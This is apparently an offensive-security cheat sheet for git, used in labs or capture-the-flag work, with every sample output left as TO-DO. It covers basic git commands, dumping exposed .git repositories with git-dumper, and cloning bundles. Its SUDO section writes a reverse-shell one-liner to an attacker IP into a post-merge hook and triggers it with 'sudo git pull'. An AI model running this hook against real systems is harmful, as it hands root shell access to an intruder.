Usage Tips:
- Click on a keyword to enable inline editing.
- Click inside a code block to copy (excludes comments).
- Use the button to view examples.
- Click outside to collapse all examples.
Basic Commands
# Show status
git status
Sample Output:
TO-DO
# Reset the current branch to a previous commit
git reset --hard
Sample Output:
TO-DO
# Show information about files
git ls-files --stage
Sample Output:
TO-DO
# Show current branch
git branch
Sample Output:
TO-DO
# Show commits
git log <BRANCH_NAME> --oneline
Sample Output:
TO-DO
# Show diff, a and b are commit hash
# a is the older commit
git diff <A_COMMIT_HASH> <B_COMMIT_HASH>
Sample Output:
TO-DO
# Show commit
git show <COMMIT_HASH>
Sample Output:
TO-DO
Git Tools
git-dumper <TARGET> result/
Sample Output:
TO-DO
Ref: git-dumper
# List all bundles
find . -type f -exec file {} \;
Sample Output:
TO-DO
# Get bundle
git clone -b master @hashed/ab/cd/<HASH>.bundle
Sample Output:
TO-DO
SUDO
# Copy target project
cp -r /var/www/html/project .
Sample Output:
TO-DO
# Create a malicious post-merge
echo -e '#!/bin/bash\n\nbash -i >& /dev/tcp/<LOCAL_IP>/<LOCAL_PORT> 0>&1' > ./project/.git/hooks/post-merge
Sample Output:
TO-DO
# Run
sudo /usr/bin/git pull
Sample Output:
TO-DO
Note: Make changes to the project to make the pull work